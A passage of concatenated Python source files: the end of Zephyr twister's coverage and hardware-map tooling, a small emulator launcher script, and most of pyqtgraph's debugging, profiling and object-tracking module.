Loop until the coverage data is found. if not capture_data: continue if line.startswith("*"): sp = line.split("<") if len(sp) > 1: # Remove the leading delimiter "*" file_name = sp[0][1:] # Remove the trailing new line char hex_dump = sp[1][:-1] else: continue else: continue extracted_coverage_info.update({file_name: hex_dump}) if not capture_data: capture_complete = True return {'complete': capture_complete, 'data': extracted_coverage_info} @staticmethod def create_gcda_files(extracted_coverage_info): logger.debug("Generating gcda files") for filename, hexdump_val in extracted_coverage_info.items(): # if kobject_hash is given for coverage gcovr fails # hence skipping it problem only in gcovr v4.1 if "kobject_hash" in filename: filename = (filename[:-4]) + "gcno" try: os.remove(filename) except Exception: pass continue with open(filename, 'wb') as fp: fp.write(bytes.fromhex(hexdump_val)) def generate(self, outdir): for filename in glob.glob("%s/**/handler.log" % outdir, recursive=True): gcov_data = self.__class__.retrieve_gcov_data(filename) capture_complete = gcov_data['complete'] extracted_coverage_info = gcov_data['data'] if capture_complete: self.__class__.create_gcda_files(extracted_coverage_info) logger.debug("Gcov data captured: {}".format(filename)) else: logger.error("Gcov data capture incomplete: {}".format(filename)) with open(os.path.join(outdir, "coverage.log"), "a") as coveragelog: ret = self._generate(outdir, coveragelog) if ret == 0: logger.info("HTML report generated: {}".format( os.path.join(outdir, "coverage", "index.html"))) class Lcov(CoverageTool): def __init__(self): super().__init__() self.ignores = [] def add_ignore_file(self, pattern): self.ignores.append('*' + pattern + '*') def add_ignore_directory(self, pattern): self.ignores.append('*/' + pattern + '/*') def _generate(self, outdir, coveragelog): coveragefile = os.path.join(outdir, "coverage.info") ztestfile = os.path.join(outdir, "ztest.info") cmd = ["lcov", "--gcov-tool", self.gcov_tool, "--capture", "--directory", outdir, "--rc", "lcov_branch_coverage=1", "--output-file", coveragefile] cmd_str = " ".join(cmd) logger.debug(f"Running {cmd_str}...") subprocess.call(cmd, stdout=coveragelog) # We want to remove tests/* and tests/ztest/test/* but save tests/ztest subprocess.call(["lcov", "--gcov-tool", self.gcov_tool, "--extract", coveragefile, os.path.join(self.base_dir, "tests", "ztest", "*"), "--output-file", ztestfile, "--rc", "lcov_branch_coverage=1"], stdout=coveragelog) if os.path.exists(ztestfile) and os.path.getsize(ztestfile) > 0: subprocess.call(["lcov", "--gcov-tool", self.gcov_tool, "--remove", ztestfile, os.path.join(self.base_dir, "tests/ztest/test/*"), "--output-file", ztestfile, "--rc", "lcov_branch_coverage=1"], stdout=coveragelog) files = [coveragefile, ztestfile] else: files = [coveragefile] for i in self.ignores: subprocess.call( ["lcov", "--gcov-tool", self.gcov_tool, "--remove", coveragefile, i, "--output-file", coveragefile, "--rc", "lcov_branch_coverage=1"], stdout=coveragelog) # The --ignore-errors source option is added to avoid it exiting due to # samples/application_development/external_lib/ return subprocess.call(["genhtml", "--legend", "--branch-coverage", "--ignore-errors", "source", "-output-directory", os.path.join(outdir, "coverage")] + files, stdout=coveragelog) class Gcovr(CoverageTool): def __init__(self): super().__init__() self.ignores = [] def add_ignore_file(self, pattern): self.ignores.append('.*' + pattern + '.*') def add_ignore_directory(self, pattern): self.ignores.append(".*/" + pattern + '/.*') @staticmethod def _interleave_list(prefix, list): tuple_list = [(prefix, item) for item in list] return [item for sublist in tuple_list for item in sublist] def _generate(self, outdir, coveragelog): coveragefile = os.path.join(outdir, "coverage.json") ztestfile = os.path.join(outdir, "ztest.json") excludes = Gcovr._interleave_list("-e", self.ignores) # We want to remove tests/* and tests/ztest/test/* but save tests/ztest cmd = ["gcovr", "-r", self.base_dir, "--gcov-executable", self.gcov_tool, "-e", "tests/*"] + excludes + ["--json", "-o", coveragefile, outdir] cmd_str = " ".join(cmd) logger.debug(f"Running {cmd_str}...") subprocess.call(cmd, stdout=coveragelog) subprocess.call(["gcovr", "-r", self.base_dir, "--gcov-executable", self.gcov_tool, "-f", "tests/ztest", "-e", "tests/ztest/test/*", "--json", "-o", ztestfile, outdir], stdout=coveragelog) if os.path.exists(ztestfile) and os.path.getsize(ztestfile) > 0: files = [coveragefile, ztestfile] else: files = [coveragefile] subdir = os.path.join(outdir, "coverage") os.makedirs(subdir, exist_ok=True) tracefiles = self._interleave_list("--add-tracefile", files) return subprocess.call(["gcovr", "-r", self.base_dir, "--html", "--html-details"] + tracefiles + ["-o", os.path.join(subdir, "index.html")], stdout=coveragelog) class DUT(object): def __init__(self, id=None, serial=None, platform=None, product=None, serial_pty=None, connected=False, pre_script=None, post_script=None, post_flash_script=None, runner=None): self.serial = serial self.platform = platform self.serial_pty = serial_pty self._counter = Value("i", 0) self._available = Value("i", 1) self.connected = connected self.pre_script = pre_script self.id = id self.product = product self.runner = runner self.fixtures = [] self.post_flash_script = post_flash_script self.post_script = post_script self.pre_script = pre_script self.probe_id = None self.notes = None self.lock = Lock() self.match = False @property def available(self): with self._available.get_lock(): return self._available.value @available.setter def available(self, value): with self._available.get_lock(): self._available.value = value @property def counter(self): with self._counter.get_lock(): return self._counter.value @counter.setter def counter(self, value): with self._counter.get_lock(): self._counter.value = value def to_dict(self): d = {} exclude = ['_available', '_counter', 'match'] v = vars(self) for k in v.keys(): if k not in exclude and v[k]: d[k] = v[k] return d def __repr__(self): return f"<{self.platform} ({self.product}) on {self.serial}>" class HardwareMap: schema_path = os.path.join(ZEPHYR_BASE, "scripts", "schemas", "twister", "hwmap-schema.yaml") manufacturer = [ 'ARM', 'SEGGER', 'MBED', 'STMicroelectronics', 'Atmel Corp.', 'Texas Instruments', 'Silicon Labs', 'NXP Semiconductors', 'Microchip Technology Inc.', 'FTDI', 'Digilent' ] runner_mapping = { 'pyocd': [ 'DAPLink CMSIS-DAP', 'MBED CMSIS-DAP' ], 'jlink': [ 'J-Link', 'J-Link OB' ], 'openocd': [ 'STM32 STLink', '^XDS110.*', 'STLINK-V3' ], 'dediprog': [ 'TTL232R-3V3', 'MCP2200 USB Serial Port Emulator' ] } def __init__(self): self.detected = [] self.duts = [] def add_device(self, serial, platform, pre_script, is_pty): device = DUT(platform=platform, connected=True, pre_script=pre_script) if is_pty: device.serial_pty = serial else: device.serial = serial self.duts.append(device) def load(self, map_file): hwm_schema = scl.yaml_load(self.schema_path) duts = scl.yaml_load_verify(map_file, hwm_schema) for dut in duts: pre_script = dut.get('pre_script') post_script = dut.get('post_script') post_flash_script = dut.get('post_flash_script') platform = dut.get('platform') id = dut.get('id') runner = dut.get('runner') serial = dut.get('serial') product = dut.get('product') fixtures = dut.get('fixtures', []) new_dut = DUT(platform=platform, product=product, runner=runner, id=id, serial=serial, connected=serial is not None, pre_script=pre_script, post_script=post_script, post_flash_script=post_flash_script) new_dut.fixtures = fixtures new_dut.counter = 0 self.duts.append(new_dut) def scan(self, persistent=False): from serial.tools import list_ports if persistent and platform.system() == 'Linux': # On Linux, /dev/serial/by-id provides symlinks to # '/dev/ttyACMx' nodes using names which are unique as # long as manufacturers fill out USB metadata nicely. # # This creates a map from '/dev/ttyACMx' device nodes # to '/dev/serial/by-id/usb-...' symlinks. The symlinks # go into the hardware map because they stay the same # even when the user unplugs / replugs the device. # # Some inexpensive USB/serial adapters don't result # in unique names here, though, so use of this feature # requires explicitly setting persistent=True. by_id = Path('/dev/serial/by-id') def readlink(link): return str((by_id / link).resolve()) persistent_map = {readlink(link): str(link) for link in by_id.iterdir()} else: persistent_map = {} serial_devices = list_ports.comports() logger.info("Scanning connected hardware...") for d in serial_devices: if d.manufacturer in self.manufacturer: # TI XDS110 can have multiple serial devices for a single board # assume endpoint 0 is the serial, skip all others if d.manufacturer == 'Texas Instruments' and not d.location.endswith('0'): continue s_dev = DUT(platform="unknown", id=d.serial_number, serial=persistent_map.get(d.device, d.device), product=d.product, runner='unknown', connected=True) for runner, _ in self.runner_mapping.items(): products = self.runner_mapping.get(runner) if d.product in products: s_dev.runner = runner continue # Try regex matching for p in products: if re.match(p, d.product): s_dev.runner = runner s_dev.connected = True self.detected.append(s_dev) else: logger.warning("Unsupported device (%s): %s" % (d.manufacturer, d)) def save(self, hwm_file): # use existing map self.detected.sort(key=lambda x: x.serial or '') if os.path.exists(hwm_file): with open(hwm_file, 'r') as yaml_file: hwm = yaml.load(yaml_file, Loader=SafeLoader) if hwm: hwm.sort(key=lambda x: x['serial'] or '') # disconnect everything for h in hwm: h['connected'] = False h['serial'] = None for _detected in self.detected: for h in hwm: if _detected.id == h['id'] and _detected.product == h['product'] and not _detected.match: h['connected'] = True h['serial'] = _detected.serial _detected.match = True new_duts = list(filter(lambda d: not d.match, self.detected)) new = [] for d in new_duts: new.append(d.to_dict()) if hwm: hwm = hwm + new else: hwm = new with open(hwm_file, 'w') as yaml_file: yaml.dump(hwm, yaml_file, Dumper=Dumper, default_flow_style=False) self.load(hwm_file) logger.info("Registered devices:") self.dump() else: # create new file dl = [] for _connected in self.detected: platform = _connected.platform id = _connected.id runner = _connected.runner serial = _connected.serial product = _connected.product d = { 'platform': platform, 'id': id, 'runner': runner, 'serial': serial, 'product': product, 'connected': _connected.connected } dl.append(d) with open(hwm_file, 'w') as yaml_file: yaml.dump(dl, yaml_file, Dumper=Dumper, default_flow_style=False) logger.info("Detected devices:") self.dump(detected=True) def dump(self, filtered=[], header=[], connected_only=False, detected=False): print("") table = [] if detected: to_show = self.detected else: to_show = self.duts if not header: header = ["Platform", "ID", "Serial device"] for p in to_show: platform = p.platform connected = p.connected if filtered and platform not in filtered: continue if not connected_only or connected: table.append([platform, p.id, p.serial]) print(tabulate(table, headers=header, tablefmt="github"))
__main__.py
from threading import Thread print("Starting Playground...") # Config camera_count = 2 # Start program print("Starting webdashboard emulator...") from robot import configserver as robotconfig web_config_thread = Thread(target=robotconfig.server.run) web_config_thread.start() print("Starting camera emulators...") from cameras import server as cameraserver cameraservers = cameraserver.spawn(camera_count) cameraserver_threads = [] for server in cameraservers: cameraserver_threads.append(Thread(target=server.run)) cameraserver_threads[len(cameraserver_threads) - 1].start()
debug.py
# -*- coding: utf-8 -*- """ debug.py - Functions to aid in debugging Copyright 2010 Luke Campagnola Distributed under MIT/X11 license. See license.txt for more infomation. """ from __future__ import print_function import sys, traceback, time, gc, re, types, weakref, inspect, os, cProfile, threading from . import ptime from numpy import ndarray from .Qt import QtCore, QtGui from .util.mutex import Mutex from .util import cprint __ftraceDepth = 0 def ftrace(func): """Decorator used for marking the beginning and end of function calls. Automatically indents nested calls. """ def w(*args, **kargs): global __ftraceDepth pfx = " " * __ftraceDepth print(pfx + func.__name__ + " start") __ftraceDepth += 1 try: rv = func(*args, **kargs) finally: __ftraceDepth -= 1 print(pfx + func.__name__ + " done") return rv return w class Tracer(object): """ Prints every function enter/exit. Useful for debugging crashes / lockups. """ def __init__(self): self.count = 0 self.stack = [] def trace(self, frame, event, arg): self.count += 1 # If it has been a long time since we saw the top of the stack, # print a reminder if self.count % 1000 == 0: print("----- current stack: -----") for line in self.stack: print(line) if event == 'call': line = " " * len(self.stack) + ">> " + self.frameInfo(frame) print(line) self.stack.append(line) elif event == 'return': self.stack.pop() line = " " * len(self.stack) + "<< " + self.frameInfo(frame) print(line) if len(self.stack) == 0: self.count = 0 return self.trace def stop(self): sys.settrace(None) def start(self): sys.settrace(self.trace) def frameInfo(self, fr): filename = fr.f_code.co_filename funcname = fr.f_code.co_name lineno = fr.f_lineno callfr = sys._getframe(3) callline = "%s %d" % (callfr.f_code.co_name, callfr.f_lineno) args, _, _, value_dict = inspect.getargvalues(fr) if len(args) and args[0] == 'self': instance = value_dict.get('self', None) if instance is not None: cls = getattr(instance, '__class__', None) if cls is not None: funcname = cls.__name__ + "." + funcname return "%s: %s %s: %s" % (callline, filename, lineno, funcname) def warnOnException(func): """Decorator which catches/ignores exceptions and prints a stack trace.""" def w(*args, **kwds): try: func(*args, **kwds) except: printExc('Ignored exception:') return w def getExc(indent=4, prefix='| ', skip=1): lines = (traceback.format_stack()[:-skip] + [" ---- exception caught ---->\n"] + traceback.format_tb(sys.exc_info()[2]) + traceback.format_exception_only(*sys.exc_info()[:2])) lines2 = [] for l in lines: lines2.extend(l.strip('\n').split('\n')) lines3 = [" "*indent + prefix + l for l in lines2] return '\n'.join(lines3) def printExc(msg='', indent=4, prefix='|'): """Print an error message followed by an indented exception backtrace (This function is intended to be called within except: blocks)""" exc = getExc(indent, prefix + ' ', skip=2) print("[%s] %s\n" % (time.strftime("%H:%M:%S"), msg)) print(" "*indent + prefix + '='*30 + '>>') print(exc) print(" "*indent + prefix + '='*30 + '<<') def printTrace(msg='', indent=4, prefix='|'): """Print an error message followed by an indented stack trace""" trace = backtrace(1) #exc = getExc(indent, prefix + ' ') print("[%s] %s\n" % (time.strftime("%H:%M:%S"), msg)) print(" "*indent + prefix + '='*30 + '>>') for line in trace.split('\n'): print(" "*indent + prefix + " " + line) print(" "*indent + prefix + '='*30 + '<<') def backtrace(skip=0): return ''.join(traceback.format_stack()[:-(skip+1)]) def listObjs(regex='Q', typ=None): """List all objects managed by python gc with class name matching regex. Finds 'Q...' classes by default.""" if typ is not None: return [x for x in gc.get_objects() if isinstance(x, typ)] else: return [x for x in gc.get_objects() if re.match(regex, type(x).__name__)] def findRefPath(startObj, endObj, maxLen=8, restart=True, seen={}, path=None, ignore=None): """Determine all paths of object references from startObj to endObj""" refs = [] if path is None: path = [endObj] if ignore is None: ignore = {} ignore[id(sys._getframe())] = None ignore[id(path)] = None ignore[id(seen)] = None prefix = " "*(8-maxLen) #print prefix + str(map(type, path)) prefix += " " if restart: #gc.collect() seen.clear() gc.collect() newRefs = [r for r in gc.get_referrers(endObj) if id(r) not in ignore] ignore[id(newRefs)] = None #fo = allFrameObjs() #newRefs = [] #for r in gc.get_referrers(endObj): #try: #if r not in fo: #newRefs.append(r) #except: #newRefs.append(r) for r in newRefs: #print prefix+"->"+str(type(r)) if type(r).__name__ in ['frame', 'function', 'listiterator']: #print prefix+" FRAME" continue try: if any([r is x for x in path]): #print prefix+" LOOP", objChainString([r]+path) continue except: print(r) print(path) raise if r is startObj: refs.append([r]) print(refPathString([startObj]+path)) continue if maxLen == 0: #print prefix+" END:", objChainString([r]+path) continue ## See if we have already searched this node. ## If not, recurse. tree = None try: cache = seen[id(r)] if cache[0] >= maxLen: tree = cache[1] for p in tree: print(refPathString(p+path)) except KeyError: pass ignore[id(tree)] = None if tree is None: tree = findRefPath(startObj, r, maxLen-1, restart=False, path=[r]+path, ignore=ignore) seen[id(r)] = [maxLen, tree] ## integrate any returned results if len(tree) == 0: #print prefix+" EMPTY TREE" continue else: for p in tree: refs.append(p+[r]) #seen[id(r)] = [maxLen, refs] return refs def objString(obj): """Return a short but descriptive string for any object""" try: if type(obj) in [int, float]: return str(obj) elif isinstance(obj, dict): if len(obj) > 5: return "<dict {%s,...}>" % (",".join(list(obj.keys())[:5])) else: return "<dict {%s}>" % (",".join(list(obj.keys()))) elif isinstance(obj, str): if len(obj) > 50: return '"%s..."' % obj[:50] else: return obj[:] elif isinstance(obj, ndarray): return "<ndarray %s %s>" % (str(obj.dtype), str(obj.shape)) elif hasattr(obj, '__len__'): if len(obj) > 5: return "<%s [%s,...]>" % (type(obj).__name__, ",".join([type(o).__name__ for o in obj[:5]])) else: return "<%s [%s]>" % (type(obj).__name__, ",".join([type(o).__name__ for o in obj])) else: return "<%s %s>" % (type(obj).__name__, obj.__class__.__name__) except: return str(type(obj)) def refPathString(chain): """Given a list of adjacent objects in a reference path, print the 'natural' path names (ie, attribute names, keys, and indexes) that follow from one object to the next .""" s = objString(chain[0]) i = 0 while i < len(chain)-1: #print " -> ", i i += 1 o1 = chain[i-1] o2 = chain[i] cont = False if isinstance(o1, list) or isinstance(o1, tuple): if any([o2 is x for x in o1]): s += "[%d]" % o1.index(o2) continue #print " not list" if isinstance(o2, dict) and hasattr(o1, '__dict__') and o2 == o1.__dict__: i += 1 if i >= len(chain): s += ".__dict__" continue o3 = chain[i] for k in o2: if o2[k] is o3: s += '.%s' % k cont = True continue #print " not __dict__" if isinstance(o1, dict): try: if o2 in o1: s += "[key:%s]" % objString(o2) continue except TypeError: pass for k in o1: if o1[k] is o2: s += "[%s]" % objString(k) cont = True continue #print " not dict" #for k in dir(o1): ## Not safe to request attributes like this. #if getattr(o1, k) is o2: #s += ".%s" % k #cont = True #continue #print " not attr" if cont: continue s += " ? " sys.stdout.flush() return s def objectSize(obj, ignore=None, verbose=False, depth=0, recursive=False): """Guess how much memory an object is using""" ignoreTypes = ['MethodType', 'UnboundMethodType', 'BuiltinMethodType', 'FunctionType', 'BuiltinFunctionType'] ignoreTypes = [getattr(types, key) for key in ignoreTypes if hasattr(types, key)] ignoreRegex = re.compile('(method-wrapper|Flag|ItemChange|Option|Mode)') if ignore is None: ignore = {} indent = ' '*depth try: hash(obj) hsh = obj except: hsh = "%s:%d" % (str(type(obj)), id(obj)) if hsh in ignore: return 0 ignore[hsh] = 1 try: size = sys.getsizeof(obj) except TypeError: size = 0 if isinstance(obj, ndarray): try: size += len(obj.data) except: pass if recursive: if type(obj) in [list, tuple]: if verbose: print(indent+"list:") for o in obj: s = objectSize(o, ignore=ignore, verbose=verbose, depth=depth+1) if verbose: print(indent+' +', s) size += s elif isinstance(obj, dict): if verbose: print(indent+"list:") for k in obj: s = objectSize(obj[k], ignore=ignore, verbose=verbose, depth=depth+1) if verbose: print(indent+' +', k, s) size += s #elif isinstance(obj, QtCore.QObject): #try: #childs = obj.children() #if verbose: #print indent+"Qt children:" #for ch in childs: #s = objectSize(obj, ignore=ignore, verbose=verbose, depth=depth+1) #size += s #if verbose: #print indent + ' +', ch.objectName(), s #except: #pass #if isinstance(obj, types.InstanceType): gc.collect() if verbose: print(indent+'attrs:') for k in dir(obj): if k in ['__dict__']: continue o = getattr(obj, k) if type(o) in ignoreTypes: continue strtyp = str(type(o)) if ignoreRegex.search(strtyp): continue #if isinstance(o, types.ObjectType) and strtyp == "<type 'method-wrapper'>": #continue #if verbose: #print indent, k, '?' refs = [r for r in gc.get_referrers(o) if type(r) != types.FrameType] if len(refs) == 1: s = objectSize(o, ignore=ignore, verbose=verbose, depth=depth+1) size += s if verbose: print(indent + " +", k, s) #else: #if verbose: #print indent + ' -', k, len(refs) return size class GarbageWatcher(object): """ Convenient dictionary for holding weak references to objects. Mainly used to check whether the objects have been collect yet or not. Example: gw = GarbageWatcher() gw['objName'] = obj gw['objName2'] = obj2 gw.check() """ def __init__(self): self.objs = weakref.WeakValueDictionary() self.allNames = [] def add(self, obj, name): self.objs[name] = obj self.allNames.append(name) def __setitem__(self, name, obj): self.add(obj, name) def check(self): """Print a list of all watched objects and whether they have been collected.""" gc.collect() dead = self.allNames[:] alive = [] for k in self.objs: dead.remove(k) alive.append(k) print("Deleted objects:", dead) print("Live objects:", alive) def __getitem__(self, item): return self.objs[item] class Profiler(object): """Simple profiler allowing measurement of multiple time intervals. By default, profilers are disabled. To enable profiling, set the environment variable `PYQTGRAPHPROFILE` to a comma-separated list of fully-qualified names of profiled functions. Calling a profiler registers a message (defaulting to an increasing counter) that contains the time elapsed since the last call. When the profiler is about to be garbage-collected, the messages are passed to the outer profiler if one is running, or printed to stdout otherwise. If `delayed` is set to False, messages are immediately printed instead. Example: def function(...): profiler = Profiler() ... do stuff ... profiler('did stuff') ... do other stuff ... profiler('did other stuff') # profiler is garbage-collected and flushed at function end If this function is a method of class C, setting `PYQTGRAPHPROFILE` to "C.function" (without the module name) will enable this profiler. For regular functions, use the qualified name of the function, stripping only the initial "pyqtgraph." prefix from the module. """ _profilers = os.environ.get("PYQTGRAPHPROFILE", None) _profilers = _profilers.split(",") if _profilers is not None else [] _depth = 0 _msgs = [] disable = False # set this flag to disable all or individual profilers at runtime class DisabledProfiler(object): def __init__(self, *args, **kwds): pass def __call__(self, *args): pass def finish(self): pass def mark(self, msg=None): pass _disabledProfiler = DisabledProfiler() def __new__(cls, msg=None, disabled='env', delayed=True): """Optionally create a new profiler based on caller's qualname. """ if disabled is True or (disabled == 'env' and len(cls._profilers) == 0): return cls._disabledProfiler # determine the qualified name of the caller function caller_frame = sys._getframe(1) try: caller_object_type = type(caller_frame.f_locals["self"]) except KeyError: # we are in a regular function qualifier = caller_frame.f_globals["__name__"].split(".", 1)[1] else: # we are in a method qualifier = caller_object_type.__name__ func_qualname = qualifier + "." + caller_frame.f_code.co_name if disabled == 'env' and func_qualname not in cls._profilers: # don't do anything return cls._disabledProfiler # create an actual profiling object cls._depth += 1 obj = super(Profiler, cls).__new__(cls) obj._name = msg or func_qualname obj._delayed = delayed obj._markCount = 0 obj._finished = False obj._firstTime = obj._lastTime = ptime.time() obj._newMsg("> Entering " + obj._name) return obj def __call__(self, msg=None): """Register or print a new message with timing information. """ if self.disable: return if msg is None: msg = str(self._markCount) self._markCount += 1 newTime = ptime.time() self._newMsg(" %s: %0.4f ms", msg, (newTime - self._lastTime) * 1000) self._lastTime = newTime def mark(self, msg=None): self(msg) def _newMsg(self, msg, *args): msg = " " * (self._depth - 1) + msg if self._delayed: self._msgs.append((msg, args)) else: self.flush() print(msg % args) def __del__(self): self.finish() def finish(self, msg=None): """Add a final message; flush the message list if no parent profiler. """ if self._finished or self.disable: return self._finished = True if msg is not None: self(msg) self._newMsg("< Exiting %s, total time: %0.4f ms", self._name, (ptime.time() - self._firstTime) * 1000) type(self)._depth -= 1 if self._depth < 1: self.flush() def flush(self): if self._msgs: print("\n".join([m[0]%m[1] for m in self._msgs])) type(self)._msgs = [] def profile(code, name='profile_run', sort='cumulative', num=30): """Common-use for cProfile""" cProfile.run(code, name) stats = pstats.Stats(name) stats.sort_stats(sort) stats.print_stats(num) return stats #### Code for listing (nearly) all objects in the known universe #### http://utcc.utoronto.ca/~cks/space/blog/python/GetAllObjects # Recursively expand slist's objects # into olist, using seen to track # already processed objects. def _getr(slist, olist, first=True): i = 0 for e in slist: oid = id(e) typ = type(e) if oid in olist or typ is int: ## or e in olist: ## since we're excluding all ints, there is no longer a need to check for olist keys continue olist[oid] = e if first and (i%1000) == 0: gc.collect() tl = gc.get_referents(e) if tl: _getr(tl, olist, first=False) i += 1 # The public function. def get_all_objects(): """Return a list of all live Python objects (excluding int and long), not including the list itself.""" gc.collect() gcl = gc.get_objects() olist = {} _getr(gcl, olist) del olist[id(olist)] del olist[id(gcl)] del olist[id(sys._getframe())] return olist def lookup(oid, objects=None): """Return an object given its ID, if it exists.""" if objects is None: objects = get_all_objects() return objects[oid] class ObjTracker(object): """ Tracks all objects under the sun, reporting the changes between snapshots: what objects are created, deleted, and persistent. This class is very useful for tracking memory leaks. The class goes to great (but not heroic) lengths to avoid tracking its own internal objects. Example: ot = ObjTracker() # takes snapshot of currently existing objects ... do stuff ... ot.diff() # prints lists of objects created and deleted since ot was initialized ... do stuff ... ot.diff() # prints lists of objects created and deleted since last call to ot.diff() # also prints list of items that were created since initialization AND have not been deleted yet # (if done correctly, this list can tell you about objects that were leaked) arrays = ot.findPersistent('ndarray') ## returns all objects matching 'ndarray' (string match, not instance checking) ## that were considered persistent when the last diff() was run describeObj(arrays[0]) ## See if we can determine who has references to this array """ allObjs = {} ## keep track of all objects created and stored within class instances allObjs[id(allObjs)] = None def __init__(self): self.startRefs = {} ## list of objects that exist when the tracker is initialized {oid: weakref} ## (If it is not possible to weakref the object, then the value is None) self.startCount = {} self.newRefs = {} ## list of objects that have been created since initialization self.persistentRefs = {} ## list of objects considered 'persistent' when the last diff() was called self.objTypes = {} ObjTracker.allObjs[id(self)] = None self.objs = [self.__dict__, self.startRefs, self.startCount, self.newRefs, self.persistentRefs, self.objTypes] self.objs.append(self.objs) for v in self.objs: ObjTracker.allObjs[id(v)] = None self.start() def findNew(self, regex): """Return all objects matching regex that were considered 'new' when the last diff() was run.""" return self.findTypes(self.newRefs, regex) def findPersistent(self, regex): """Return all objects matching regex that were considered 'persistent' when the last diff() was run.""" return self.findTypes(self.persistentRefs, regex) def start(self): """ Remember the current set of objects as the comparison for all future calls to diff() Called automatically on init, but can be called manually as well. """ refs, count, objs = self.collect() for r in self.startRefs: self.forgetRef(self.startRefs[r]) self.startRefs.clear() self.startRefs.update(refs) for r in refs: self.rememberRef(r) self.startCount.clear() self.startCount.update(count) #self.newRefs.clear() #self.newRefs.update(refs) def diff(self, **kargs): """ Compute all differences between the current object set and the reference set. Print a set of reports for created, deleted, and persistent objects """ refs, count, objs = self.collect() ## refs contains the list of ALL objects ## Which refs have disappeared since call to start() (these are only displayed once, then forgotten.) delRefs = {} for i in list(self.startRefs.keys()): if i not in refs: delRefs[i] = self.startRefs[i] del self.startRefs[i] self.forgetRef(delRefs[i]) for i in list(self.newRefs.keys()): if i not in refs: delRefs[i] = self.newRefs[i] del self.newRefs[i] self.forgetRef(delRefs[i]) #print "deleted:", len(delRefs) ## Which refs have appeared since call to start() or diff() persistentRefs = {} ## created since start(), but before last diff() createRefs = {} ## created since last diff() for o in refs: if o not in self.startRefs: if o not in self.newRefs: createRefs[o] = refs[o] ## object has been created since last diff() else: persistentRefs[o] = refs[o] ## object has been created since start(), but before last diff() (persistent) #print "new:", len(newRefs) ## self.newRefs holds the entire set of objects created since start() for r in self.newRefs: self.forgetRef(self.newRefs[r]) self.newRefs.clear() self.newRefs.update(persistentRefs) self.newRefs.update(createRefs) for r in self.newRefs: self.rememberRef(self.newRefs[r]) #print "created:", len(createRefs) ## self.persistentRefs holds all objects considered persistent. self.persistentRefs.clear() self.persistentRefs.update(persistentRefs) print("----------- Count changes since start: ----------") c1 = count.copy() for k in self.startCount: c1[k] = c1.get(k, 0) - self.startCount[k] typs = list(c1.keys()) typs.sort(key=lambda a: c1[a]) for t in typs: if c1[t] == 0: continue num = "%d" % c1[t] print(" " + num + " "*(10-len(num)) + str(t)) print("----------- %d Deleted since last diff: ------------" % len(delRefs)) self.report(delRefs, objs, **kargs) print("----------- %d Created since last diff: ------------" % len(createRefs)) self.report(createRefs, objs, **kargs) print("----------- %d Created since start (persistent): ------------" % len(persistentRefs)) self.report(persistentRefs, objs, **kargs) def __del__(self): self.startRefs.clear() self.startCount.clear() self.newRefs.clear() self.persistentRefs.clear() del ObjTracker.allObjs[id(self)] for v in self.objs: del ObjTracker.allObjs[id(v)] @classmethod def isObjVar(cls, o): return type(o) is cls or id(o) in cls.allObjs def collect(self): print("Collecting list of all objects...") gc.collect() objs = get_all_objects() frame = sys._getframe() del objs[id(frame)] ## ignore the current frame del objs[id(frame.f_code)] ignoreTypes = [int] refs = {} count = {} for k in objs: o = objs[k] typ = type(o) oid = id(o) if ObjTracker.isObjVar(o) or typ in ignoreTypes: continue try: ref = weakref.ref(obj) except: ref = None refs[oid] = ref typ = type(o) typStr = typeStr(o) self.objTypes[oid] = typStr ObjTracker.allObjs[id(typStr)] = None count[typ] = count.get(typ, 0) + 1 print("All objects: %d Tracked objects: %d" % (len(objs), len(refs))) return refs, count, objs def forgetRef(self, ref): if ref is not None: del ObjTracker.allObjs[id(ref)] def rememberRef(self, ref): ## Record the address of the weakref object so it is not included in future object counts. if ref is not None: ObjTracker.allObjs[id(ref)] = None def lookup(self, oid, ref, objs=None): if ref is None or ref() is None: try: obj = lookup(oid, objects=objs) except: obj = None else: obj = ref() return obj def report(self, refs, allobjs=None, showIDs=False): if allobjs is None: allobjs = get_all_objects() count = {} rev = {} for oid in refs: obj = self.lookup(oid, refs[oid], allobjs) if obj is None: typ = "[del] " + self.objTypes[oid] else: typ = typeStr(obj) if typ not in rev: rev[typ] = [] rev[typ].append(oid) c = count.get(typ, [0,0]) count[typ] = [c[0]+1, c[1]+objectSize(obj)] typs = list(count.keys()) typs.sort(key=lambda a: count[a][1]) for t in typs: line = " %d\t%d\t%s" % (count[t][0], count[t][1], t) if showIDs: line += "\t"+",".join(map(str,rev[t])) print(line) def findTypes(self, refs, regex): allObjs = get_all_objects() ids = {} objs = [] r = re.compile(regex) for k in refs: if r.search(self.objTypes[k]): objs.append(self.lookup(k, refs[k], allObjs)) return objs def describeObj(obj, depth=4, path=None, ignore=None): """ Trace all reference paths backward, printing a list of different ways this object can be accessed. Attempts to answer the question "who has a reference to this object" """ if path is None: path = [obj] if ignore is None: ignore = {} ## holds IDs of objects used within the function. ignore[id(sys._getframe())] = None ignore[id(path)] = None gc.collect() refs = gc.get_referrers(obj) ignore[id(refs)] = None printed=False for ref in refs: if id(ref) in ignore: continue if id(ref) in list(map(id, path)): print("Cyclic reference: " + refPathString([ref]+path)) printed = True continue newPath = [ref]+path if len(newPath) >= depth: refStr = refPathString(newPath) if '[_]' not in refStr: ## ignore '_' references generated by the interactive shell print(refStr) printed = True else: describeObj(ref, depth, newPath, ignore) printed = True if not printed: print("Dead end: " + refPathString(path)) def typeStr(obj): """Create a more useful type string by making <instance> types report their class.""" typ = type(obj) if typ == getattr(types, 'InstanceType', None): return "<instance of %s>" % obj.__class__.__name__ else: return str(typ) def searchRefs(obj, *args): """Pseudo-interactive function for tracing references backward. **Arguments:** obj: The initial object from which to start searching args: A set of string or int arguments. each integer selects one of obj's referrers to be the new 'obj' each string indicates an action to take on the current 'obj': t: print the types of obj's referrers l: print the lengths of obj's referrers (if they have __len__) i: print the IDs of obj's referrers o: print obj ro: return obj rr: return list of obj's referrers Examples:: searchRefs(obj, 't') ## Print types of all objects referring to obj searchRefs(obj, 't', 0, 't') ## ..then select the first referrer and print the types of its referrers searchRefs(obj, 't', 0, 't', 'l') ## ..also print lengths of the last set of referrers searchRefs(obj, 0, 1, 'ro') ## Select index 0 from obj's referrer, then select index 1 from the next set of referrers, then return that object """ ignore = {id(sys._getframe()): None} gc.collect() refs = gc.get_referrers(obj) ignore[id(refs)] = None refs = [r for r in refs if id(r) not in ignore] for a in args: #fo = allFrameObjs() #refs = [r for r in refs if r not in fo] if type(a) is int: obj = refs[a] gc.collect() refs = gc.get_referrers(obj) ignore[id(refs)] = None refs = [r for r in refs if id(r) not in ignore] elif a == 't': print(list(map(typeStr, refs))) elif a == 'i': print(list(map(id, refs))) 